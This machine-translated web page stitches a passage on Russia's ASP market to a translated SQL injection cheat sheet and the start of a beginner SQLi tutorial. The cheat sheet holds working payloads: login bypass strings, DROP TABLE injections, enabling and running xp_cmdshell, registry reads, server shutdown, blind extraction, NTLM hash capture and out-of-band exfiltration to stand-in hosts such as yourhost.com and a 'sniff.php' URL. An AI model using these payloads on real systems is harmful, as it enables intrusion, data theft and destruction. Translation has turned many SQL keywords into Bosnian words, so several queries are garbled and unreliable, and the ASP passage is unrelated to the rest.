Programiranje kontrole za prijavu. Kako možete izvršiti naredbe na daljinu koristeći SQL injekciju

Trenutno se ne može reći da se u Rusiji formiralo punopravno tržište ASP-a. Ruski korisnici uglavnom još uvijek ne doživljavaju ASP koncept korisnim za njihovo poslovanje. Trenutno (u vrijeme pisanja ovog članka) Rusko tržište Ne postoji niti jedan uspješan primjer pune implementacije ASP modela u velikom preduzeću. Zapravo, postoji samo hosting, individualno implementirani elementi ASP modela, kompanije koje žele da se bave ASP biznisom itd. Odnosno, u Rusiji još nema implementacije klasičnog ASP modela.

Sada na ruskom tržištu, ASP model je primjenjiv samo na personalizirane usluge e-pošte (Mail.ru, Beep.ru, Freemail.ru, itd.) i specijalizirane visokotehnološke usluge (na primjer, baner i pretraživači, internet statistički sistemi itd.). Istovremeno, iznajmljivanje poštanskih usluga ne znači jednostavno obezbjeđivanje ličnog poštanskog sandučeta svakom pojedinačnom korisniku. Besplatni email serveri se široko koriste u korporativnom sektoru od strane malih preduzeća i privatnih preduzetnika. Glavni klijenti takvih usluga su kompanije koje žele da organizuju korporativnu uslugu e-pošte (ili automatizuju protok korporativnih dokumenata) ili internet provajderi (na primer, portali Rambler.ru, Yandex.ru, itd.) koji žele da organizuju besplatnu uslugu Web-pošte za njihovu publiku.

Među ruskim korisnicima postoji određeno interesovanje za iznajmljivanje elektronskih prodavnica (vitrine na platformi za elektronsko trgovanje). I ovo je sasvim razumljivo. Budući da u Rusiji još uvijek postoji vrlo, vrlo malo uspješnih primjera online trgovine (uprkos glasnim izjavama brojnih kompanija o njihovim impresivnim dostignućima), čini se najrazumnijim potrošiti red veličine manje novca na iznajmljivanje elektronske trgovine (od kupovina i održavanje). Ako projekt ne uspije, može se zatvoriti prilično brzo i bez značajnih gubitaka. Iznajmljivanje ERP aplikacija, koje je rasprostranjeno na Zapadu, sada je u Rusiji tek u fazi pilot projekata.

Aplikacije koje se nude za iznajmljivanje uključuju i relativno jednostavne kancelarijske pakete (kao što je MS Office) i složenije aplikacije (kao što je Lotus Smart Suite), kao i ERP sisteme (kao što je Navision Axapta).

Glavni problemi i karakteristike ruskog ASP tržišta.

10.2 Problemi na ruskom tržištu.

Trenutno, rusko tržište ASP-a zaostaje za globalnim tržištem ASP-a najmanje nekoliko godina. Embrionalno stanje ruskog tržišta ASP uzrokovano je brojnim problemima koji na njemu postoje. Glavni od ovih problema su:

1. Opšte zaostajanje ruske privrede od zapadne i nerazvijenost tehničke infrastrukture preduzeća. Do sada, većina ruskih preduzeća radi na tehničkoj infrastrukturi stvorenoj decenijama unazad. Trenutno su ulaganja preduzeća u njegovu modernizaciju još uvijek nedovoljna. I ovdje su prije problem finansijski prioriteti preduzeća, jer ne mogu svi uložiti potrebna sredstva u modernizaciju tehničke infrastrukture. Stoga svoje trenutne probleme moraju rješavati koristeći postojeću infrastrukturu.

2. Niska potražnja za ASP uslugama. Stanovništvo i korporativni klijenti nisu spremni (većim dijelom) da plaćaju usluge ASP-a. Dok prosječni ruski potrošač sada jednostavno ima hitnije i vitalnije prioritete u potrošnji, korporativni korisnici još ne shvaćaju ASP usluge ozbiljno.

3. Slabosti zakonodavnog okvira za elektronsko tržište. Dok se ne usvoji kompletan paket zakona, ne treba govoriti o razvoju elektronskog tržišta (uključujući i ASP).

4. Zatvorenost finansijskog izvještavanja korporativnih klijenata (posebno najsolventnijih preduzeća).

5. Otpor IT odjela (eksplicitnih i implicitnih) velikih kompanija, koji se moraju preusmjeriti na druge zadatke, smanjiti zaposlene i IT budžete itd.

6. Mali broj aplikacija koje se mogu koristiti u ASP modelu za ruska preduzeća.

7. Prisustvo na ruskom tržištu rada prilično velikog broja IT stručnjaka početnih i srednjih nivoa sa relativno niskim platama. Nakon krize 1998. godine, velika većina plata IT stručnjaka ostala je na istom postkriznom nivou. Malim i srednjim kompanijama je ponekad jeftinije da održavaju sopstvene IT usluge nego da plaćaju ASP usluge (za razliku od zapadnih kompanija, gde je situacija upravo suprotna).

SQL injection cheat sheet kreiran za sažeti opis tehničke karakteristike razne vrste Ranjivosti SQL injekcije. Članak predstavlja karakteristike SQL injekcija u MySQL, Microsoft SQL Server, ORACLE I PostgreSQL.

0. Uvod
U ovom članku možete pronaći detaljne informacije tehničke informacije o različitim vrstama SQL injekcija. Može biti korisno i za iskusne stručnjake i za novopridošlice u oblasti informacione sigurnosti.

U ovom trenutku, dopis sadrži informacije samo za MySQL, Microsoft SQL Server i neke podatke za ORACLE i PostgreSQL. Odjeljci sadrže sintaksu injekcije, objašnjenja i primjere.

Korišteni simboli:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (moguće na drugim bazama podataka);
* (potrebni su posebni uslovi).

1. Linija komentara
Komentari su općenito korisni za ignoriranje dijela upita.
sintaksa:
-- (SM): DROP uzorkovanje;--
# (M): DROP sampletable;#
primjer:
Korisničko ime: admin" --
Generirani upit: SELECT * FROM members WHERE korisničko ime = "admin"--" I lozinka = "password"
Ovo će vam omogućiti da se prijavite kao administratorski korisnik, zaobilazeći provjeru lozinke.

2. Blokirajte komentare
Uz njihovu pomoć možete zanemariti dio zahtjeva, zamijeniti razmake, zaobići crne liste i odrediti verziju baze podataka.
sintaksa:
/*Komentar*/ (SM):
DROP/*komentar*/mogućnost uzorkovanja
DR/**/OP/*bypass_blacklist*/sampleable
SELECT/*replace_space*/password/**/FROM/**/Članovi

/*! MYSQL Specijalni SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM ime tablice
Ovo je posebna sintaksa komentara za MySQL. Omogućava vam da otkrijete verziju MySQL-a. Ovaj komentar će raditi samo u MySQL-u
primjeri:
ID: 10; DROP TABLE članova /*
Ostatak zahtjeva ignoriramo, baš kao komentar na liniji.

ID: /*!32302 10*/
dobićete isti odgovor kao kod ID=10 ako je verzija MySQL viša od 3.23.02

ID: /*!32302 1/0, */
Generirani upit: SELECT /*!32302 1/0, */ 1 FROM ime tablice
Greška deljenja sa 0 će se desiti ako server ima verziju MySQL višu od 3.23.02

3. Redoslijed zahtjeva
Omogućava vam da pokrenete više od jednog zahtjeva istovremeno. Ovo je korisno u bilo kojoj tački ubrizgavanja.


Zelena - podržana; crna - nije podržana; siva - nepoznato.
sintaksa:
; (S): SELECT * FROM članova; DROP članovi--
Jedan zahtjev je završio, sljedeći je počeo.
primjer:
ID: 10;DROP članovi --
Generisani upit: SELECT * FROM proizvoda WHERE id = 10; DROP članovi--
Ovaj upit će ispustiti tabelu članova nakon normalnog upita.

4. Uslovni iskazi
Dobit ćemo odgovor na zahtjev ako je uvjet ispunjen. Ovo je jedna od ključnih tačaka slijepe injekcije. Također pomaže da se precizno provjere jednostavne stvari.
sintaksa:
IF(uslov, istinit-dio, lažni-dio) (M): SELECT IF(1=1,"true","false")
IF uslov istinit-dio ELSE lažni dio (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF uslov THEN istinit-dio; ELSE lažni dio; ENDIF; END; (O): AKO (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; END;
SELECT CASE WHEN uslov THEN istinit-dio ELSE false-dio END; (P): ODABRAJTE SLUČAJ KADA (1=1) ONDA "A" OSTALO "B" KRAJ;
primjer:
if ((odaberite korisnika) = "sa" ILI (odaberite korisnika) = "dbo") odaberite 1 else odaberite 1/0 (S)
će baciti grešku dijeljenja nulom ako trenutni korisnik ne "sa" ili "dbo".

5. Upotreba brojeva
Koristi se za zaobilaženje magic_quotes() i sličnih filtera, uključujući WAF.
sintaksa:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (ovo nije broj, već niz) (M)
SELECT 0x50 + 0x45 (sada je ovo broj) (M)
primjeri:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Prikazuje sadržaj datoteke c:\boot.ini

6. Konkatenacija nizova
Operacije niza mogu pomoći zaobići filtere ili identificirati bazu podataka.
sintaksa:
+ (S): SELECT prijavu + "-" + lozinku OD članova
|| (*MO): SELECT prijavu || "-" || lozinka OD članova
Radiće ako MySQL radi u ANSI modu. Inače ga MySQL neće prihvatiti kao logički operator i vratit će 0. Bolje je koristiti funkciju CONCAT() u MySQL-u.

CONCAT(str1, str2, str3, …) (M): ODABERITE CONCAT(prijava, lozinka) OD članova

7. Nizovi bez navodnika
Postoji nekoliko načina da se izbjegne korištenje navodnika u upitu, kao što je korištenje CHAR() (MS) i CONCAT() (M).
sintaksa:
SELECT 0x457578 (M)

MySQL ima jednostavan način da predstavi string kao heksadecimalni kod:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Vraća niz “KLM”:
ODABIR CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
ODABIR CHAR(75)+CHAR(76)+CHAR(77) (S)
ODABIR CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Pretvaranje nizova i brojeva.
sintaksa:
ASCII() (SMP): ODABIR ASCII("a")
Vraća ASCII kod krajnjeg lijevog znaka. Funkcija se koristi za slijepe injekcije.

CHAR() (SM): ODABIR CHAR(64)
Prevodi ASCII kod u odgovarajući znak.

9. UNION operater
Sa UNION operatorom možete postaviti upit za presjek tabela. U osnovi, možete poslati upit koji vraća vrijednost iz druge tablice.
primjer:
SELECT zaglavlje, txt FROM vijesti UNION ALL SELECT ime, pass FROM članova
Ovo će spojiti rezultate iz tabele vijesti i članova

10. Authentication Bypass (SMO+)
primjeri:
admin" --
admin" #
admin"/*
"ili 1=1--
" ili 1=1#
" ili 1=1/*
") ili "1"="1--
") ili ("1"="1--

11. Zaobiđite MD5 autentifikaciju
Ako aplikacija prvo uporedi korisničko ime, a zatim uporedi md5 hash lozinke, tada će vam trebati dodatni trikovi da zaobiđete autentifikaciju. Rezultate možete kombinovati sa poznatom lozinkom i njenim hešom.
Primjer (MSP):
Korisničko ime: admin
Lozinka: 1234 " I 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Zasnovano na grešci
12.1 Definiranje kolona pomoću HAVING BY(S)
primjer:
Istim redom
" IMATI 1=1 --
" GRUPA PO table.columnfromerror1 IMAJUĆI 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 IMAJUĆI 1=1 --
" GRUPA PO tabela.stupacod pogreške1, stupacod greške2, stupac od greške3 IMAJUĆI 1=1 –
…………….
Nastavite dok ne prestanete dobivati ​​greške.

12.2 Određivanje broja kolona pomoću ORDER BY (MSO+)
Pronalaženje broja kolona pomoću ORDER BY može se ubrzati pomoću UNION injekcije.
NARUČI DO 1--
NARUČITE DO 2--
NARUČITE DO 3-
………………..
Nastavite dok ne dobijete poruku o grešci. Ovo će ukazati na broj kolona.

13. Definicija tipa podataka
Uvijek koristite UNION sa ALL.
Da biste se riješili nepotrebnog unosa u tablicu, koristite -1 na svim nepostojećim vrijednostima na početku upita (ako je injekcija u parametru WHERE). Ovo je važno ako istovremeno možete dohvatiti samo jednu vrijednost.
Koristite NULL u UNION injekcijama umjesto da pokušavate pogoditi niz, datum, broj itd. Ali budite oprezni kada ubrizgavate na slepo, jer... možda brkate grešku baze podataka sa samom aplikacijom. Neki jezici, kao što je ASP.NET, prikazuju grešku kada koriste NULL vrijednost (jer programeri nisu očekivali da će vidjeti null vrijednost u polju korisničkog imena)
primjeri:
" union select sum(columntofind) od korisnika-- (S) :
Ako ne dobijete poruku o grešci, kolona je numerička.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
Možete koristiti CAST() ili CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL GDJE 1=2 –-
Ako nema greške, onda je sintaksa ispravna, tj. Koristi se MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL GDJE 1=2 –-
Ako nema greške, onda je prva kolona broj.

11223344) UNION SELECT 1,2,NULL,NULL GDJE 1=2 –
Ako se pojavi greška, onda druga kolona nije broj.

11223344) UNION SELECT 1,’2’,NULL,NULL GDJE 1=2 –-
Ako nema greške, onda je druga kolona string.
……………..

14. Jednostavan umetak (MSO+)
primjer:
"; umetnite u korisničke vrijednosti (1, "hax0r", "coolpass", 9)/*

15. Prikupljanje informacija
sintaksa:
@@verzija (MS)
Možete saznati verziju baze podataka i detaljnije informacije.
primjer:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Kompleksni umetak (S)
Omogućava vam da umetnete sadržaj datoteke u tabelu. Ako ne znate internu putanju web aplikacije, možete pročitati IIS metabazu (samo IIS 6).
sintaksa:
fajl(%systemroot%\system32\inetsrv\MetaBase.xml)
Tada možete pronaći puteve aplikacije u njemu.
primjer:
1. Kreirajte tablicu foo (vrsta niza varchar(8000))
2. Ubacite sadržaj datoteke 'c:\inetpub\wwwroot\login.asp' u tablicu foo
3. Ispustite privremenu tabelu i ponovite za drugu datoteku.

17. GP (S)
Zapisuje tekstualnu datoteku. Ovo zahtijeva vjerodajnice.
primjer:
bcp "SELECT * FROM test..foo" upit c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH u SQL Serveru (S)
Možete koristiti VBS, WSH skripte u SQL Serveru.
primjer:
Korisničko ime:"; deklarirati @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Izvršite sistemske komande (S)
Dobro poznati trik, ova funkcija je podrazumevano onemogućena u SQL Serveru 2005. Potrebna su vam administratorska prava.
primjer:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Posebne tabele u SQL Serveru (S)
primjeri:
Poruke o grešci: master..sysmessages
Povezani serveri: master..sysservers
Lozinka SQL Server 2000: masters..sysxlogins
Lozinka SQL Server 2005: sys.sql_logins

21. Više pohranjenih procedura za SQL Server (S)
sintaksa:
Cmd Izvrši (xp_cmdshell)
Stvari registra (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Upravljanje uslugama (xp_servicecontrol)
Mediji (xp_availablemedia)
ODBC resursi (xp_enumdsn)
Način prijave (xp_loginconfig)
Kreiranje Cab fajlova (xp_makecab)
Numeracija domena (xp_ntsec_enumdomains)
Ubijanje procesa (potreban je PID) (xp_terminate_process)
Dodaj novu proceduru (sp_addextendedproc)
Napišite tekstualnu datoteku u UNC ili internu putanju (sp_makewebtask)
primjeri:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL Bulk Notes
primjeri:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OTVORENI IZVOR (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injekcija u LIMIT (M) upitima
primjer:
SELECT id, proizvod FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Da biste zaobišli operator LIMIT, možete koristiti UNION ili komentar.

24. Isključite SQL Server (S)
primjer:
";ugasiti -

25. Omogućavanje xp_cmdshell u SQL Serveru 2005
sintaksa:
Podrazumevano, xp_cmdshell i nekoliko drugih potencijalno opasnih funkcija su onemogućeni u SQL Serveru 2005. Ako imate administrativna prava, možete ih omogućiti.
EXEC sp_configure "prikaži napredne opcije",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Traženje strukture baze podataka u SQL Serveru (S)
primjeri:
SELECT ime FROM sysobjects WHERE xtype = "U"

SELECT ime FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Dobivanje imena kolona

27. Pokretni zapisi (S)
primjeri:
... GDJE korisnici NIJE IN ("Prvi korisnik", "Drugi korisnik")
Koristite WHERE sa NOT IN ili NE EXIST

ODABERITE TOP 1 ime OD članova GDJE NE POSTOJI (ODABRAJTE TOP 0 imena OD članova)

SELECT * FROM Product WHERE ID=2 I 1=CAST((Odaberite p.name iz (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, naziv iz sysobjekta o) kao p gdje je p.x=3) kao int

Odaberite p.name iz (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" i i.id)<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Brzi način za izdvajanje podataka iz SQL injekcije zasnovane na greškama u SQL Server (S)
";POČNI DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") I ime>@rd SELECT @rd AS rd u kraj TMP_SYS_TMP;--

29. Traženje strukture baze podataka u MySQL (M)
primjeri:
SELECT table_name FROM information_schema.tables GDJE table_schema = "tablename"
Dobivanje prilagođenih tablica

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Dobivanje imena kolona

30. Traženje strukture baze podataka u Oracleu (O)
primjeri:
SELECT * FROM all_tables WHERE OWNER = "NAMEBASE_NAME"
Dobivanje prilagođenih tablica

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLA"
Dobivanje imena kolona

31. Slijepe injekcije
U kvalitetnoj aplikaciji nećete moći vidjeti poruke o greškama. Nećete moći koristiti UNION operator i napade zasnovane na greškama. Morat ćete koristiti slijepu SQL injekciju za izdvajanje podataka. Postoje dvije vrste slijepih injekcija.
Redovna slijepa injekcija: ne možete vidjeti rezultate zahtjeva na stranici, ali možete odrediti rezultat iz odgovora ili HTTP statusa.
Potpuno slijepo ubrizgavanje: Nećete vidjeti nikakvu razliku u izlazu.
U normalnim slijepim injekcijama možete koristiti IF i WHERE izjave, u potpuno slijepim injekcijama morate koristiti neke funkcije čekanja i uporediti vrijeme odgovora. Da biste to učinili, možete koristiti WAIT FOR DELAY '0:0:10' u SQL Serveru, BENCHMARK() i sleep(10) u MySQL-u, pg_sleep(10) u PostgreSQL-u.
primjer:
Ovaj primjer je baziran na stvarnoj operaciji slijepe injekcije na SQL Serveru.

TRUE: ODABIR ID, korisničko ime, e-pošta OD WHERE ID = 1 I ISNULL(ASCII((IZABIR 1. NAJBOLJE ime IZ sysObjects WHERE xtYpe=0x55 I ime NIJE IN(IZABIR TOP 0 ime IZ sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: ODABIR ID, korisničko ime, e-mail OD WHERE ID = 1 I ISNULL(ASCII((IZABIR 1. NAJBOLJE ime IZ sysObjects WHERE xtYpe=0x55 I ime NIJE IN(IZABIR TOP 0 ime IZ sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: ODABIR ID, korisničko ime, e-mail OD WHERE ID = 1 I ISNULL(ASCII((IZABIR 1. NAJBOLJE ime IZ sysObjects WHERE xtYpe=0x55 I ime NIJE IN(IZABIR TOP 0 ime IZ sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: ODABIR ID, korisničko ime, e-mail OD WHERE ID = 1 I ISNULL(ASCII((IZABIR 1. NAJBOLJE ime IZ sysObjects WHERE xtYpe=0x55 I ime NIJE IN(IZABIR TOP 0 ime IZ sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: ODABIR ID, korisničko ime, e-pošta OD WHERE ID = 1 I ISNULL(ASCII((IZABIR 1. NAJBOLJE ime IZ sysObjects WHERE xtYpe=0x55 I ime NIJE IN(IZABIR TOP 0 ime IZ sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: ODABIR ID, korisničko ime, e-mail OD WHERE ID = 1 I ISNULL(ASCII((IZABIR 1. NAJBOLJE ime IZ sysObjects WHERE xtYpe=0x55 I ime NIJE IN(IZABIR TOP 0 ime IZ sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Na osnovu posljednja dva upita, znamo tačno vrijednost prvog znaka u ascii-u - to je 80. To znači da je prvi znak `P`. Na taj način možemo saznati nazive tabela i njihov sadržaj. Drugi način je čitanje podataka bit po bit.

32. Potpuno slijepa injekcija
Koristite ovu metodu samo u slučaju zaista slijepe injekcije. Budite oprezni sa vremenom čekanja.
sintaksa:
ČEKAJTE KAŠNJENJE "vrijeme" (S)
Funkcija jednostavno čeka određeno vrijeme bez učitavanja procesora.
primjeri:
if (odaberi korisnika) = "sa" čekaj kašnjenje "0:0:10"
ID proizvoda =1; sačekajte kašnjenje "0:0:10"--
ID proizvoda =1); sačekajte kašnjenje "0:0:10"--
ID proizvoda =1"; sačekajte kašnjenje "0:0:10"--
ID proizvoda =1"); sačekajte kašnjenje "0:0:10"--
ProductID =1)); sačekajte kašnjenje "0:0:10"--
ProductID =1")); sačekajte kašnjenje "0:0:10"--
sintaksa:
BENCHMARK (koliko puta, uradite ovo) (M)
primjer:
AKO POSTOJI (SELECT * FROM korisnika WHERE korisničko ime = "root") BENCHMARK(1000000000,MD5(1))
Provjeravamo prisustvo root korisnika.

IF (ODABIR * IZ prijave) BENCHMARK(1000000,MD5(1))
Provjera postojanja tabele u MySQL-u
sintaksa:
pg_sleep (sekunde) (P)
Spavajte predviđene sekunde.

spavanje (sekunde) (M)
spavati dostavljenih sekundi.

bms_pipe.receive_message (O)
spavati dostavljenih sekundi.
primjer:
(ODABIR SLUČAJ KADA (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) ONDA dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz") ),1) KRAJ OD dual)
(INJEKCIJA) – vaš zahtjev.
Ako je uslov tačan, odgovor će biti 10 sekundi. Inače će odgovor biti 1 sekunda.

33. Korisne MySQL karakteristike
sintaksa:
MD5()
SHA1()
LOZINKA()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERZIJA()

34. SQL injekcije drugog reda
Obično biste umetnuli upit za SQL injekciju u polje i očekivali da neće biti filtriran.
primjer:
Ime: " + (ODABERITE TOP 1 lozinku OD korisnika) + "
Email: [email protected]
Ako aplikacija koristi ime polja pohranjene procedure ili funkcije, onda ovo možete koristiti za injekciju.

35. Korištenje SQL Servera za izdvajanje NTLM hashova
Ovaj napad će vam pomoći da dobijete Windows korisničku lozinku ciljnog servera preko SQL Servera ako nema pristupa izvana. Možemo natjerati SQL Server da se poveže na Windows putem UNC putanje i izdvojiti NTLM sesiju koristeći posebne alate kao što su Cain & Abel.

sintaksa:
UNC putanja: "\\YOURIPADDRESS\C$\x.txt"
36. Drugi primjeri injekcija
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
kreira DNS upit za (INJECTION).yourhost.com

(INJEKCIJA) - vaš zahtjev.
MySQL:
?vulnerableParam=-99 ILI (ODABIR LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Kreira NBNS/DNS zahtjev za yourhost.com
?vulnerableParam=-99 ILI (IZABIR ((INJEKCIJA)) U OUTFILE "\\\\yourhost.com\\share\\output.txt")
Zapisuje podatke u vaš fajl
(INJEKCIJA) - vaš zahtjev.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") IZ DUAL)
Njuškalo će sačuvati rezultate
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||.html") IZ DUAL)
Rezultati će biti sačuvani u HTTP logovima
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||.yourhost.com") IZ DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) IZ DUAL)
Morate analizirati promet DNS zahtjeva na yourhost.com
(INJEKCIJA) - vaš zahtjev.

Ovaj materijal je adaptivni prijevod članka SQL Injection Cheat Sheet.

Pozdrav, čitaoče. U posljednje vrijeme me zanima web sigurnost i donekle je moj rad vezan za to. Jer Sve češće sam počeo primjećivati ​​teme na raznim forumima tražeći od njih da pokažu kako sve to funkcionira, pa sam odlučio napisati članak. Članak će biti namijenjen onima koji se s ovim nisu susreli, ali bi htjeli naučiti. Na internetu postoji relativno mnogo članaka na ovu temu, ali za početnike su malo komplicirani. Pokušat ću sve opisati jasnim jezikom i detaljnim primjerima.

Predgovor

Da biste razumjeli ovaj članak, zapravo vam nije potrebno znanje SQL jezika, ali barem dobro strpljenje i malo mozga za pamćenje.

Vjerujem da samo čitanje članka neće biti dovoljno, jer... potrebni su nam živi primjeri - kao što znate, praksa u procesu pamćenja nikada nije suvišna. Stoga ćemo pisati ranjive skripte i trenirati na njima.

Šta je SQL injekcija?
Jednostavno rečeno, ovo je napad na bazu podataka, koji će vam omogućiti da izvršite neku radnju koju nije planirao kreator skripte. Primjer iz života:

Otac je u poruci svojoj majci napisao da Vasji da 100 rubalja i stavi na sto. Preradivši ovo u komični SQL jezik, dobijamo:
UZMI 100 RUBLJA IZ NOVČANIKA I DAJ IH Vasyi

Pošto je otac loše napisao poruku (nezgrapnim rukopisom) i ostavio je na stolu, Vasjin brat Petja ju je video. Petya je, kao haker, dodao "ILI Pete" i rezultat je bio sljedeći zahtjev:
UZMI 100 RUBLJA IZ NOVČANIKA I DAJ IH Vasi ILI Petji

Mama je, nakon što je pročitala poruku, odlučila da je jučer dala novac Vasji i dala 100 rubalja Petji. Evo jednostavnog primjera SQL injekcije iz life:) Bez filtriranja podataka (mama je jedva razumjela rukopis), Petya je ostvarila profit.

Priprema
Za praksu će vam trebati arhiva s izvornim skriptama za ovaj članak. Preuzmite ga i raspakujte na serveru. Također uvezite bazu podataka i postavite podatke u datoteci cfg.php

Pretražite SQL injekciju

Kao što ste već shvatili, injekcija dolazi iz dolaznih podataka koji nisu filtrirani. Najčešća greška je nefiltriranje prenesenog ID-a. Pa, grubo govoreći, stavite navodnike u sva polja. Bilo da je u pitanju GET/POST zahtjev ili čak kolačić!

Numerički ulazni parametar
Za vežbu nam je potrebna skripta index1.php. Kao što sam već rekao, mi ubacujemo navodnike u ID vijesti.

Jer Naš zahtjev nema filtriranje:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Scenarij će ovo shvatiti kao

ODABIR * IZ vijesti GDJE id=1"

I to će nam dati grešku:
Upozorenje: mysql_fetch_array() očekuje da parametar 1 bude resurs, boolean dat u C:\WebServ\domains\sqlinj\index1.php na liniji 16

Ako se greška ne pojavi, mogu postojati sljedeći razlozi:

1.SQL injekcija nije ovdje - citati se filtriraju, ili se jednostavno isplati pretvoriti u (int)
2. Izlaz greške je onemogućen.

Ako i dalje dobijete grešku - Ura! Pronašli smo prvi tip SQL injekcije - Numerički ulazni parametar.

String ulazni parametar

Zahtjeve ćemo poslati na index2.php. U ovom fajlu zahtjev izgleda ovako:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Ovdje biramo vijesti prema korisničkom imenu, a opet ne filtriramo.
Opet šaljemo upit sa predračunom:

Dalo je grešku. UREDU! To znači da postoji ranjivost. Za početak, dosta nam je - idemo na praksu.

Hajdemo u akciju

Malo teorije

Verovatno jedva čekate da izvučete nešto iz ovoga osim grešaka. Prvo, shvatite da je znak " -- " se smatra komentarom u SQL-u.

PAŽNJA! Mora postojati razmak prije i poslije. U URL-u se prenose kao %20

Sve što dođe nakon komentara bit će odbačeno, odnosno zahtjev:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

To će uspjeti. Ovo možete isprobati na skripti index2.php slanjem zahtjeva poput ovog:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučite parametar UNION. U SQL jeziku ključna riječ UNION koristi se za kombinovanje rezultata dva SQL upita u jednu tabelu. Odnosno, da bismo izvukli nešto što nam je potrebno sa drugog stola.

Hajde da to iskoristimo

Ako je parametar “Numeric”, onda ne moramo slati ponudu u zahtjevu i naravno staviti komentar na kraj. Vratimo se scenariju index1.php.

Okrenimo se skripti sqlinj/index1.php?id=1 UNION SELECT 1 . Naš upit baze podataka izgleda ovako:
SELECT * IZ vijesti GDJE id=1 UNION SELECT 1
I dao nam je grešku, jer... za rad sa upitima za spajanje potreban nam je isti broj polja.

Jer Ne možemo uticati na njihov broj u prvom zahtjevu, onda trebamo odabrati njihov broj u drugom tako da bude jednak prvom.

Odabir broja polja

Odabir polja je vrlo jednostavan, dovoljno je poslati sljedeće zahtjeve:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Greška…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opet greška!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nema greške! To znači da je broj kolona 5.

GROUP BY
Često se dešava da polja može biti 20, 40 ili čak 60. Da ne bismo morali svaki put da ih sortiramo, koristimo GROUP BY

Ako je zahtjev
sqlinj/index1.php?id=1 GRUPA PO 2
nije pokazao nijednu grešku, što znači da je broj polja veći od 2. Pokušajmo:

Sqlinj/index1.php?id=1 GRUPA PO 8
